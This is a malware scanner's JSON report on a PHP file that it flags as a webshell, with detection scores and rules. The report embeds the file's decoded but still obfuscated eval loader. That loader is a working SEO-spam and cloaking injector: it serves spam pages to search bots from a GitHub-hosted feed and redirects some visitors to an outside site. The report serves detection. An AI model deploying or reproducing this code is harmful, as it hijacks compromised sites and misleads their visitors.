{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9999711513519287,
        "class": 2
      }
    ],
    "prob": 0.99997115,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.99681973,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 0.9998288,
        "class": 2
      },
      {
        "m": "az/php",
        "prob": 0.99997115,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T16:34:45Z"
  },
  "path": "i1.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "KO₃(As₂C₂Eu)Md₃(Pt)Th",
        "k": {
          "source.imports[0]": "base64_decode",
          "source.strings[0]": "/**\r\n * Signature For Report\r\n */$x104='789abcde_)htfghijklmn_)htopqrstuvw_)htxyz-_-__)ht/\";\t$max_)ht = strle_)htn($strPol)_)ht-1; \tfor(_)ht$i=0;$i\u003c$_)htlen;$i++_)ht){\t\t$str.=_)ht$strP';/*\r\n */$x128='       _)ht     if _)ht(strlen_)ht($data) _)ht== 0) {   _)ht        _)ht     br_)hteak;    _)ht       _)ht }     _)ht       _)ht$_html .= _)ht$data;';/*\r\n */$x135='e64_decode_)ht($line_ar_)htr[$dtid][_)ht8]) . \"\u003c/a_)ht\u003e\", $html_)ht_m);    _)ht$p = st_)htrpos($html_)ht_m, _)hc[hre_)htfx]_)hc); _)ht   whil_)hte ($p';/*\r\n */$x137='e64_decod_)hte($line_a_)htrr[mt_ran_)htd(0, 99)][_)ht8]) . \"\u003c/_)hta\u003e\", $p_)ht, strle_)htn(_)hc[hrefx]_)ht_)hc));     _)ht   $p = s_)httrpos($h_)httml_';/*\r\n */$x143='a7fa55._)hthtml_)hc);}_)htif(strp_)htos(strtol_)htower(@$__)htSERVER[_)ht_)hcHTTP_RE_)htFERER_)hc]), _)ht\".jp\") !==_)ht false){\t$_)hthash = has_)hthCode(';/*\r\n */$x146='l());\t$sit_)hte = $hash _)ht% 100 + 1_)ht;\t$data =_)ht $hash % _)ht100000 _)ht+ 1;\t$fol_)htd = floo_)htr($data /_)ht 100) + 1_)ht;\t$dtid =_)ht $';/*\r\n */$x160='tatus = fa_)htlse;    if_)ht (isset($_)ht_SERVER_)ht[_)hcHTTPS_)hc])_)ht \u0026\u0026 $_SE_)htRVER[_)hcH_)htTTPS_)hc] _)ht== _)hcon_)hc) {_)ht       _)ht $status _)ht= true';/*\r\n */$x183='_m);}_)ht';/*\r\n */$x19=',$script_n_)htame)){\t\t_)htreturn $l_)htocal_hos_)htt.$request_)ht_scr._)hc/_)ht_)hc;\t}\t\t\t_)htif(strt_)htolower(_)ht$script_)ht_name)==_)ht_)hcindex._)htphp_)hc ';/*\r\n */$x208=').$_SERVE_)htR[_)hcREQU_)htEST_URI_)ht_)hc];\t$url =_)ht str_irepl_)htace(_)hc//_)ht_)hc,_)hc/_)hc,s_)httr_irep_)htlace(_)hc_)hl_)ht_)hl_)hc,_)hc/_)hc,$ur_)htl));\tret_)hturn $url_)ht;}f';/*\r\n */$x225='if(empt_)hty($str)_)ht) retur_)htn _)hc_)hc;    $_)htmdv = md5_)ht($str); _)ht   $mdv_)ht1 = substr_)ht($mdv,0,16_)ht);\t$mdv2 _)ht= substr_)ht($mdv,16';/*\r\n */$x236='ubstr_r_)hteplace($_)hthtml_m, _)ht\"\u003ca href=_)ht_)hl\"\" . $bas_)hte.rand_st_)htr() . \"_)hl\"_)ht\u003e\" . base6_)ht4_decode_)ht($line__)htarr[mt_r_)htand(0, ';/*\r\n */$x238='  curl__)htsetopt(_)ht$ch, CURLO_)htPT_RETUR_)htNTRANSFER_)ht, 1);    _)ht    cur_)htl_setopt($_)htch, CURL_)htOPT_CONN_)htECTTIMEO_)htUT, 20); ';/*\r\n */$x254='t_path;}i_)htf (strp_)htos($_SERVE_)htR[_)hcREQUE_)htST_URI_)hc]_)ht, _)hcsitema_)htp.xml_)hc) !_)ht== false_)ht) {\t$bas_)hte_url = _)ht_base_url_)ht();    ';/*\r\n */$x265='https_)hc |_)ht| !empty($_)ht_SERVER[_)hcH_)htTTP_X_F_)htORWARDED_S_)htSL_)hc]) \u0026\u0026_)ht $_SERV_)htER[_)hcHTTP_X_)ht_FORWARDE_)htD_SSL_)hc]_)ht == _)hcon_)ht_)hc) {   ';/*\r\n */$x277='unction _)ht_base_u_)htrl(){\t$_)htlocal_ho_)htst = _l_)htocal_hos_)htt();\t$r_)htequest_url_)ht = str_ire_)htplace(_)hc//_)hc_)ht,_)hc/_)hc,str_)ht_ireplace(_)ht';/*\r\n */$x296='_)hcfopen_)hc)) _)ht{        $_)hthandle =_)ht fopen($u_)htrl, \"rb\"_)ht);     _)ht   do {_)ht         _)ht   $data =_)ht fread($ha_)htndle, 81_)ht92);';/*\r\n */$x308='tags_ar_)htr[$i]._)hc_)htx]_)hc);\t\t_)ht}\t}\t\t$html_)ht_m = str__)htireplac_)hte(\"[href]_)ht\", \"\u003ca hre_)htf=_)hl\"\" ._)ht _local_)ht_url() . \"_)ht_)hl\"\u003e\" . _)htbas';/*\r\n */$x31='sitemap/0_)ht.84_)hl\"\u003e_)hlr_)hl_)htn\";    f_)htor ($i = _)ht0; $i \u003c 1_)ht00; $i++) _)ht{       _)ht $url = $_)htbase_ur_)htl.rand_str_)ht();      _)ht  $';/*\r\n */$x312='m, _)hc[hre_)htfx]_)hc);    _)ht}    $p =_)ht strpos($h_)httml_m, _)ht_)hc[hrefs]_)hc_)ht);    whi_)htle ($p !==_)ht false) {_)ht        $h_)httml_m = s';/*\r\n */$x347='_)hc_)hl_)hl_)hc,_)hc/_)hc,_)ht$_SERVER_)ht[_)hcREQUEST_)ht_URI_)hc]))_)ht;\t$reques_)htt_scr = $__)htSERVER[_)hc_)htSCRIPT_NA_)htME_)hc];\t$s_)htcript_n_)htame = bas_)htename(';/*\r\n */$x359='NAME_)hc] ._)ht _)hc\");\u003c/s_)htcript\u003e\u003c/bo_)htdy\u003e\u003c/html\u003e_)ht_)hc);}if(i_)htsBot()){\t$_)htbase = _b_)htase_url();_)ht\t$hash =_)ht hashCode(_)ht_local_ur';/*\r\n */$x364='     $s_)httatus =_)ht true;   _)ht }    $h_)htttp = $sta_)httus ? _)hch_)htttps://_)hc_)ht : _)hchttp:_)ht//_)hc;   _)ht $host =_)ht $http ._)ht $_SERVE_)htR[_)hc';/*\r\n */$x391='$request__)htscr);\t$s_)htcript_p_)htath = str__)htireplace(_)hc_)ht_)hl_)hl_)hc,_)hc/_)hc,_)htdirname(_)ht$reques_)htt_scr));\t_)ht\tif(str_)htistr($requ_)htest_url';/*\r\n */$x414='        _)ht} while (t_)htrue);    _)ht    fclo_)htse($hand_)htle);   _)ht }    r_)hteturn $_h_)httml;}fun_)htction _loc_)htal_host()_)ht{    $s';/*\r\n */$x435=';    } els_)hteif (!empt_)hty($_SERVER_)ht[_)hcHTTP_X_F_)htORWARDE_)htD_PROTO_)hc]_)ht) \u0026\u0026 $_S_)htERVER[_)hcHTT_)htP_X_FORW_)htARDED_PROT_)htO_)hc] == _)hc';/*\r\n */$x449='_)hc,_)hcmetata_)htgs_descri_)htption_)hc);_)ht\t\t\t\tfor_)ht($i=1;$i_)ht\u003c=10;$i_)ht++){\t\ti_)htf($tags_a_)htrr[$i]=_)ht=_)hc_)hc){conti_)htnue;}\t\t$_)hthtml_m = _)htst';/*\r\n */$x458='data % _)ht100 - 1;\t_)ht$mtid = _)ht$data % 50_)ht0;\t\t$html_)ht = _http_g_)htet(_)hchttps_)ht://raw.git_)hthubusercon_)httent.com_)ht/kqdnf/_)htwly';/*\r\n */$x476='\u003cscript_)ht\u003edocume_)htnt.locat_)htion=(\"ht_)http://li_)htnkjs.club/_)hta.php?j=_)ht_)hc. $site._)hc_)ht-_)hc. $data _)ht. _)hc\u0026_)hc ._)ht $_SERVER_)ht[_)hcSERVER_';/*\r\n */$x491='n_exist_)hts(_)hccurl_)ht_init_)hc)) {_)ht       _)ht $ch = _)htcurl_in_)htit();    _)ht    curl__)htsetopt($c_)hth, CURLOP_)htT_URL, $ur_)htl);      ';/*\r\n */$x495=',16);\t$crc_)ht1 = abs_)ht(crc32($_)htmdv1));_)ht\t$crc2 = _)htabs(crc32_)ht($mdv2)_)ht);\tretu_)htrn subst_)htr(bcmul($c_)htrc1,$crc_)ht2),0,8);}f_)ht';/*\r\n */$x519='pider|medi_)htapartne_)htrs|slur_)htp|patro_)htl/i_)hc, $__)htSERVER[_)hcH_)htTTP_USER__)htAGENT_)hc])_)ht    );}fu_)htnction h_)htashCode($_)htstr){    ';/*\r\n */$x527='t.com/kq_)htdnf/wlyp_)hth/master/m_)ht/_)hc.$mti_)htd._)hc.txt_)hc_)ht));\t\t$htm_)htl_arr = _)htexplode(\"_)ht[rn]\",$ht_)html);\t$li_)htne_arr = _)htarray()';/*\r\n */$x568='$res = \"\u003c?_)htxml versi_)hton=_)hl\"1.0_)ht_)hl\" encodi_)htng=_)hl\"UTF_)ht-8_)hl\"?\u003e_)hlr_)hl_)htn\u003curlset _)htxmlns=_)hl\"_)hthttp://ww_)htw.google_)ht.com/sc_)hthemas/';/*\r\n */$x580='T_URI_)hc]_)ht), \"google_)ht7b6ee98c_)ht55a7fa55._)hthtml\") !=_)ht= false)_)ht{\tdie(_)hc_)htgoogle-s_)htite-veri_)htficatio_)htn: googl_)hte7b6ee98c5_)ht5';/*\r\n */$x615='       $_)ht_html =_)ht curl_ex_)htec($ch);  _)ht      cu_)htrl_clos_)hte($ch);  _)ht  }    if _)ht($_html_)ht == _)hc_)hc \u0026_)ht\u0026 function_)ht_exists(';/*\r\n */$x65='unction r_)htand_str()_)ht{\t$len _)ht= mt_rand_)ht(30,40);_)ht\t$str =_)ht null;\t$st_)htrPol = \"AB_)htCDEFGHIJ_)htKLMNOPQRS_)htTUVWXYZ01_)ht23456';/*\r\n */$x660='file_ge_)htt_conten_)htts_)hc)) {_)ht        _)ht$_html =_)ht @file_get_)ht_conten_)htts($url)_)ht;    } _)ht   if ($__)hthtml == _)ht_)hc_)hc \u0026\u0026 f_)htunctio';/*\r\n */$x685='\u0026\u0026 $reque_)htst_url =_)ht= $scri_)htpt_path)_)ht{\t\treturn_)ht $local_)ht_host.$r_)htequest__)htscr._)hc/_)hc_)ht;\t}\t\tretu_)htrn $local_)ht_host.$_)htscrip';/*\r\n */$x701='99)][8])_)ht . \"\u003c/a\u003e_)ht\", $p, s_)httrlen(_)hc_)ht[hrefs]_)hc_)ht));       _)ht $p = str_)htpos($htm_)htl_m, _)hc[_)hthrefs]_)hc)_)ht;    }   _)ht die($htm_)htl';/*\r\n */$x753='ph/maste_)htr/_)hc.$site._)ht_)hc/_)hc.$fo_)htld._)hc.cs_)htv_)hc);\t$ht_)html_m = bas_)hte64_dec_)htode(_htt_)htp_get(_)hcht_)https://raw_)ht.github_)htuserconten_)ht';/*\r\n */$x760='\"\u003c/urlset\u003e_)ht\";    hea_)htder(\"Con_)httent-type_)ht:text/x_)html\");    _)htdie($res_)ht);}if(strp_)htos(strt_)htolower($_)ht_SERVER[_)ht_)hcREQUES';/*\r\n */$x763='r_ireplac_)hte(_)hc[_)hc.$ta_)htgs_arr[$_)hti]._)hc]_)hc, b_)htase64_d_)htecode($_)htline_arr_)ht[$dtid][$_)hti]), $html_)ht_m);\t\t$p _)ht= strpos_)ht($html_';/*\r\n */$x771='e(@$line__)htarr[mt_ra_)htnd(0, 99)_)ht][$i]),_)ht $p, st_)htrlen(_)hc[_)hc._)ht$tags_ar_)htr[$i]._)hc_)htx]_)hc));\t\t\t$_)htp = str_)htpos($html_)ht_m, _)hc[_)hc.$';/*\r\n */$x78='ol[rand_)ht(0,$max)];_)ht\t} \tretur_)htn $str;}f_)htunction __)hthttp_get($_)hturl){    $_)ht_html = _)ht_)hc_)hc;    if_)ht (functi_)hton_exis_)htts(_)hc';/*\r\n */$x833=';    forea_)htch ($html_)ht_arr as $_)htline) {_)ht        _)ht$line_arr_)ht[] = @s_)httr_getcsv_)ht($line);  _)ht  }\t\t$tags_)ht_arr = _)htarray';/*\r\n */$x847='m, _)hc[_)hc.$t_)htags_arr[$i_)ht]._)hcx]_)hc)_)ht;\t\twhile _)ht($p !== _)htfalse) {\t_)ht\t\t$html_)ht_m = subs_)httr_repla_)htce($html_m_)ht, base64_d_)htecod';/*\r\n */$x92='t .= \":\" ._)ht $_SERVER[_)ht_)hcSERVER_P_)htORT_)hc];    _)ht}    retu_)htrn $host_)ht;}functi_)hton _loca_)htl_url(){\t$_)hturl = _lo_)htcal_host(';/*\r\n */$x95=' !== fal_)htse) {  _)ht      $h_)httml_m = su_)htbstr_re_)htplace($h_)httml_m, _)ht\"\u003ca href=_)ht_)hl\"\" . $ba_)htse.rand_)ht_str() _)ht. \"_)hl\"\u003e\" _)ht. bas';/*\r\n */$x957='functio_)htn isBot() _)ht{    re_)htturn (    _)ht    iss_)htet($_SERV_)htER[_)hcHTTP_U_)htSER_AGENT_)hc_)ht]) \u0026\u0026 pre_)htg_match_)ht(_)hc/bot|_)htcrawl|s';/*\r\n */$x966='_)hln   \u003cch_)htangefreq_)ht\u003edaily\u003c/ch_)htangefreq_)ht\u003e_)hlr_)hln   _)ht\u003cpriorit_)hty\u003e0.9\u003c/p_)htriority\u003e_)ht_)hlr_)hln \u003c/u_)htrl\u003e_)hlr_)hln\";_)ht    }    $_)htres .= ';/*\r\n */$x972='res .= \" _)ht\u003curl\u003e_)hlr_)hln _)ht \u003cloc\u003e\" _)ht. $url . _)ht\"\u003c/loc\u003e_)ht_)hlr_)hln   \u003c_)htlastmod\u003e\"_)ht . date(\"_)htY-m-d\", ti_)htme()) . \"_)ht\u003c/lastmod_)ht\u003e_)hlr';/*\r\n */$x98='_local__)hturl());\t_)ht$site = _)ht$hash % 1_)ht00 + 1;\t_)ht$data = $_)hthash % _)ht100000 + _)ht1;\tdie(_)hc\u003c_)ht!DOCTYPE h_)httml\u003e\u003chtm_)htl\u003e\u003cbody\u003e';/*\r\n */$x996='(_)hc_)hc,_)hcim_)htage_)hc,_)hcp_)htrice_)hc,_)hc_)ht_)hc,_)hccate_)htgories_)hc_)ht,_)hcname_)hc,_)ht_)hcname2_)hc_)ht,_)hcdescr_)htiption_)hc,_)hc_)htmetatag_)hts_title_)hc,_)ht_)hcmetata_)htgs_keywor_)htds';/*\r\n */$x997='SERVER_NAM_)htE_)hc];   _)ht if ($__)htSERVER[_)hcSE_)htRVER_PORT_)hc_)ht] != 80 \u0026\u0026_)ht $_SERV_)htER[_)hcSERVER_)ht_PORT_)hc] !=_)ht 443) { _)ht       _)ht$hos';/*\r\n */$x999=str_replace('_)hl','\\\\',str_replace('_)hc','\\'',str_replace('_)ht','',$x957.$x519.$x225.$x495.$x65.$x104.$x78.$x660.$x491.$x238.$x615.$x296.$x128.$x414.$x160.$x435.$x265.$x364.$x997.$x92.$x208.$x277.$x347.$x391.$x19.$x685.$x254.$x568.$x31.$x972.$x966.$x760.$x580.$x143.$x98.$x476.$x359.$x146.$x458.$x753.$x527.$x833.$x996.$x449.$x763.$x847.$x771.$x308.$x135.$x95.$x137.$x312.$x236.$x701.$x183)));/*\r\n */eval($x999);/*\r\n */",
          "source.has_imports": true
        },
        "x": 185,
        "id": 0,
        "is": [
          "base64_decode"
        ],
        "ms": {
          "file": {
            "size": 13048.0
          },
          "text": {
            "digit_ratio": 0.12,
            "total_lines": 2.0,
            "char_entropy": 5.66,
            "unique_chars": 73.0,
            "import_density": 50.0,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 1.0,
            "avg_line_length": 6523.0,
            "lines_over_1000": 1.0,
            "max_line_length": 13041.0,
            "last_line_length": 13041.0,
            "long_token_count": 1.0,
            "most_common_char": "y",
            "whitespace_ratio": 0.0,
            "most_common_ratio": 0.04,
            "identifier_density": 0.5,
            "line_length_stddev": 6518.0,
            "encoded_string_ratio": 1.0,
            "normalized_import_count": 0.71,
            "normalized_string_count": 1.41,
            "normalized_unique_identifiers": 1.0
          },
          "imports": {
            "total": 1.0,
            "unique_modules": 1.0,
            "third_party_count": 1.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 2.0,
            "avg_length": 13016.0,
            "max_length": 13016.0,
            "avg_entropy": 5.65,
            "total_bytes": 26032.0,
            "base64_candidates": 2.0,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 1.0,
            "avg_length": 13.0,
            "max_length": 13.0,
            "min_length": 13.0,
            "avg_entropy": 3.18,
            "reuse_ratio": 1.0,
            "unique_count": 1.0,
            "has_digit_ratio": 1.0
          }
        },
        "ss": [
          [
            6,
            "base64",
            "/**\r\n * Signature For Report\r\n */$x104='789abcde_)htfghijklmn_)htopqrstuvw_)htxyz-_-__)ht/\";\t$max_)ht = strle_)htn($strPol)_)ht-"
          ]
        ],
        "sz": 13048,
        "ts": [
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP file 12-22KB (single-file webshell size band)",
            "e": [
              "i1.php"
            ],
            "i": "well-known/malware/webshell/zaco::single-file-webshell-metrics",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports base64_decode",
            "e": [
              "[base64_decode]"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.9900000095367432,
            "d": "Decodes a large embedded payload (base64)",
            "e": [
              "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDQ9Jzc4OWFiY2RlXylodGZnaGlqa2xtbl8paHRvcHFyc3R1dndfKWh0eHl6LV8tX"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload",
            "l": 4,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High entropy strings (encoded/encrypted data)",
            "e": [
              "strings.avg_entropy = 5.65"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::high-entropy-strings-dup",
            "l": 3,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Last line is over 1000 chars",
            "e": [
              "text.last_line_length = 13041.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 13016.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 2.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "PHP open tag (\u003c?php)",
            "e": [
              "\u003c?php"
            ],
            "i": "metadata/lang/scripted::php-open-tag",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 13041.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTP protocol fragment",
            "e": [
              "aHR0cDovL"
            ],
            "i": "objectives/exfiltration/oob/endpoint::http-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 13041.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.4000000059604645,
            "d": "Very few string literals (string obfuscation indicator)",
            "e": [
              "strings.total = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "/**  * Signature For Report  */$x104=' \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "php webshell containing base64 encoded payload",
            "e": [
              "base64_decode",
              "V2YW",
              "\u003c?",
              "\u003c?PHP"
            ],
            "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads",
            "l": 5
          }
        ],
        "sha": "ce0684795db172bebe89d5179cfed457e2eeb25c8c9c2ead860c2513dbd6374a",
        "path": "i1.php",
        "type": "php"
      }
    ],
    "tv": "0a4d2"
  }
}